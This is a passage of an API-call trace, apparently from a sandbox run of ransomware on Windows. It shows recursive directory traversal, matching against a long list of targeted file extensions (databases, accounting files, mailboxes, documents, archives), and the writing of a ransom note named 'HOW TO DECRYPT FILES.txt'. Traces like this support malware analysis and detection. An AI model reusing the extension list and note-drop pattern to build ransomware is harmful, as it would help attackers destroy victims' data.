[0100.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.tiff") returned 0 [0100.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.backup") returned 0 [0100.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.pdf") returned 0 [0100.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.cert") returned 0 [0100.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.docm") returned 0 [0100.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.xlsm") returned 0 [0100.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.dwg") returned 0 [0100.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.nd") returned 0 [0100.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.tlg") returned 0 [0100.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.lgb") returned 0 [0100.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.mov") returned 0 [0100.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.xdw") returned 0 [0100.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.ods") returned 0 [0100.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.wav") returned 0 [0100.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.mp3") returned 0 [0100.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.aiff") returned 0 [0100.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.flac") returned 0 [0100.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.m4a") returned 0 [0100.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.TroubleshootingPack.Resources\\6.1.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", pszSpec="*.csv") returned 0 [0100.451] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll", cAlternateFileName="")) returned 0 [0100.451] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.451] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef066a4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef066a4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0_en_31bf3856ad364e35", cAlternateFileName="610~1.0_E")) returned 0 [0100.451] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.451] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x65637275, dwReserved1=0x6c642e73, cFileName="Microsoft.WSMan.Management", cAlternateFileName="MICROS~2.MAN")) returned 1 [0100.451] lstrcmpA (lpString1=".", lpString2="Microsoft.WSMan.Management") returned -1 [0100.451] lstrcmpA (lpString1="..", lpString2="Microsoft.WSMan.Management") returned -1 [0100.451] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.451] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.WSMan.Management" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management" [0100.452] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.452] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.452] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.452] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.452] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.452] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc10d8578, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc10d8578, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1.0.0.0__31bf3856ad364e35", cAlternateFileName="100~1.0__")) returned 1 [0100.453] lstrcmpA (lpString1=".", lpString2="1.0.0.0__31bf3856ad364e35") returned -1 [0100.453] lstrcmpA (lpString1="..", lpString2="1.0.0.0__31bf3856ad364e35") returned -1 [0100.453] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\*.*") returned="*.*" [0100.453] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\", lpString2="1.0.0.0__31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35" [0100.453] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc10d8578, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc10d8578, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.453] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.453] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc10d8578, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc10d8578, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.453] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.453] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.453] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa861e4c9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa861e4c9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa861e4c9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x46000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management.dll", cAlternateFileName="")) returned 1 [0100.453] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.454] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.WSMan.Management.dll") returned -1 [0100.454] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.WSMan.Management.dll") returned -1 [0100.454] lstrcmpiA (lpString1="", lpString2="Microsoft.WSMan.Management.dll") returned -1 [0100.454] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0100.454] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\" [0100.454] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\") returned="" [0100.454] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0100.454] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.wsman.management\\1.0.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0100.454] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.wsman.management\\1.0.0.0__31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.455] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.457] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.457] CloseHandle (hObject=0x90) returned 1 [0100.457] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\", lpString2="Microsoft.WSMan.Management.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll" [0100.457] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.ems") returned 0 [0100.457] lstrlenA (lpString="*.ems") returned 5 [0100.457] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.db") returned 0 [0100.457] lstrlenA (lpString="*.db") returned 4 [0100.457] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.dbf") returned 0 [0100.457] lstrlenA (lpString="*.dbf") returned 5 [0100.457] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.myox") returned 0 [0100.457] lstrlenA (lpString="*.myox") returned 6 [0100.457] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.myo") returned 0 [0100.457] lstrlenA (lpString="*.myo") returned 5 [0100.458] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.qbw") returned 0 [0100.458] lstrlenA (lpString="*.qbw") returned 5 [0100.458] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.qbb") returned 0 [0100.458] lstrlenA (lpString="*.qbb") returned 5 [0100.458] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.qbm") returned 0 [0100.458] lstrlenA (lpString="*.qbm") returned 5 [0100.458] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.qbo") returned 0 [0100.458] lstrlenA (lpString="*.qbo") returned 5 [0100.458] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.qbx") returned 0 [0100.458] lstrlenA (lpString="*.qbx") returned 5 [0100.458] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.qba") returned 0 [0100.458] lstrlenA (lpString="*.qba") returned 5 [0100.458] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.qby") returned 0 [0100.458] lstrlenA (lpString="*.qby") returned 5 [0100.458] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.qbj") returned 0 [0100.458] lstrlenA (lpString="*.qbj") returned 5 [0100.458] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.ofx") returned 0 [0100.458] lstrlenA (lpString="*.ofx") returned 5 [0100.458] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.qif") returned 0 [0100.458] lstrlenA (lpString="*.qif") returned 5 [0100.458] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.mye") returned 0 [0100.459] lstrlenA (lpString="*.mye") returned 5 [0100.459] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.mbox") returned 0 [0100.459] lstrlenA (lpString="*.mbox") returned 6 [0100.459] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.eml") returned 0 [0100.459] lstrlenA (lpString="*.eml") returned 5 [0100.459] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.pst") returned 0 [0100.459] lstrlenA (lpString="*.pst") returned 5 [0100.459] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.ost") returned 0 [0100.459] lstrlenA (lpString="*.ost") returned 5 [0100.459] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.idx") returned 0 [0100.459] lstrlenA (lpString="*.idx") returned 5 [0100.459] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.dbx") returned 0 [0100.459] lstrlenA (lpString="*.dbx") returned 5 [0100.459] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.sql") returned 0 [0100.459] lstrlenA (lpString="*.sql") returned 5 [0100.459] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.mdb") returned 0 [0100.459] lstrlenA (lpString="*.mdb") returned 5 [0100.459] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.fdb") returned 0 [0100.459] lstrlenA (lpString="*.fdb") returned 5 [0100.459] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.wab") returned 0 [0100.460] lstrlenA (lpString="*.wab") returned 5 [0100.460] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.dat") returned 0 [0100.460] lstrlenA (lpString="*.dat") returned 5 [0100.460] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.txt") returned 0 [0100.460] lstrlenA (lpString="*.txt") returned 5 [0100.460] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.jpeg") returned 0 [0100.460] lstrlenA (lpString="*.jpeg") returned 6 [0100.460] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.jpg") returned 0 [0100.460] lstrlenA (lpString="*.jpg") returned 5 [0100.460] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.png") returned 0 [0100.460] lstrlenA (lpString="*.png") returned 5 [0100.460] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.php") returned 0 [0100.460] lstrlenA (lpString="*.php") returned 5 [0100.460] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.cs") returned 0 [0100.460] lstrlenA (lpString="*.cs") returned 4 [0100.460] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.cpp") returned 0 [0100.460] lstrlenA (lpString="*.cpp") returned 5 [0100.460] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.rar") returned 0 [0100.461] lstrlenA (lpString="*.rar") returned 5 [0100.461] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.zip") returned 0 [0100.461] lstrlenA (lpString="*.zip") returned 5 [0100.461] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.html") returned 0 [0100.461] lstrlenA (lpString="*.html") returned 6 [0100.461] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.htm") returned 0 [0100.461] lstrlenA (lpString="*.htm") returned 5 [0100.461] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.xlsx") returned 0 [0100.461] lstrlenA (lpString="*.xlsx") returned 6 [0100.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.xls") returned 0 [0100.462] lstrlenA (lpString="*.xls") returned 5 [0100.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.mp4") returned 0 [0100.462] lstrlenA (lpString="*.mp4") returned 5 [0100.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.ppt") returned 0 [0100.462] lstrlenA (lpString="*.ppt") returned 5 [0100.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.pptx") returned 0 [0100.462] lstrlenA (lpString="*.pptx") returned 6 [0100.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", pszSpec="*.doc") returned 0 [0100.462] lstrlenA (lpString="*.doc") returned 5 [0100.462] PathMatchSpecA 